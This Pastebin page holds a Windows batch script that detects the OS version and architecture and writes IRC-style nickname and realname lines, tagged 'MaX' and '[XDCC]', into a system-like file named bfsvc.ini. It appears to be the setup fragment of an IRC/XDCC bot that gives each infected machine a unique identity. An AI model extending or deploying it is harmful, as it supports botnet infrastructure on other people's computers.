Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- rem @echo off
- ver | find "2003" > nul
- if %ERRORLEVEL% == 0 goto ver_2003
- ver | find "XP" > nul
- if %ERRORLEVEL% == 0 goto ver_xp
- ver | find "2000" > nul
- if %ERRORLEVEL% == 0 goto ver_2000
- ver | find "NT" > nul
- if %ERRORLEVEL% == 0 goto ver_nt
- if not exist %SystemRoot%\system32\systeminfo.exe goto notapplic
- systeminfo | find "OS Name" > %TEMP%\osname.txt
- FOR /F "usebackq delims=: tokens=2" %%i IN (%TEMP%\osname.txt) DO set vers=%%i
- echo %vers% | find "Windows 7" > nul
- if %ERRORLEVEL% == 0 goto ver_7
- echo %vers% | find "Windows Server 2008" > nul
- if %ERRORLEVEL% == 0 goto ver_2008
- echo %vers% | find "Windows Vista" > nul
- if %ERRORLEVEL% == 0 goto ver_vista
- goto notapplic
- :ver_7
- :Run Windows 7 specific commands here.
- ECHO user_nick MaX-[W7]-%random% >> bfsvc.ini
- goto arch
- :ver_2008
- :Run Windows Server 2008 specific commands here.
- ECHO user_nick MaX-[S8]-%random% >> bfsvc.ini
- goto arch
- :ver_vista
- :Run Windows Vista specific commands here.
- ECHO user_nick MaX-[VS]-%random% >> bfsvc.ini
- goto arch
- :ver_2003
- :Run Windows Server 2003 specific commands here.
- ECHO user_nick MaX-[S3]-%random% >> bfsvc.ini
- goto arch
- :ver_xp
- :Run Windows XP specific commands here.
- ECHO user_nick MaX-[XP]-%random% >> bfsvc.ini
- goto arch
- :ver_2000
- :Run Windows 2000 specific commands here.
- ECHO user_nick MaX-[2K]-%random% >> bfsvc.ini
- goto arch
- :ver_nt
- :Run Windows NT specific commands here.
- ECHO user_nick MaX-[NT]-%random% >> bfsvc.ini
- goto arch
- :notapplic
- ECHO user_nick MaX-[NA]-%random% >> bfsvc.ini
- goto arch
- rem :exit
- rem @ECHO off
- :arch
- SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
- FOR /f "tokens=1,2* delims=." %%a IN ('ver') DO (
- SET WVer=%%a
- SET WVer=!WVer:~-1!
- SET WVer=!WVer!.%%b.%%c
- SET WVer=!WVer:]=!
- )
- IF DEFINED ProgramFiles(x86) (
- SET OSBit=x64
- ) ELSE (
- SET OSBit=x86
- )
- ECHO user_realname [XDCC]-%WVer%-%OSBit% >> bfsvc.ini
- :exit
Add Comment
Please, Sign In to add comment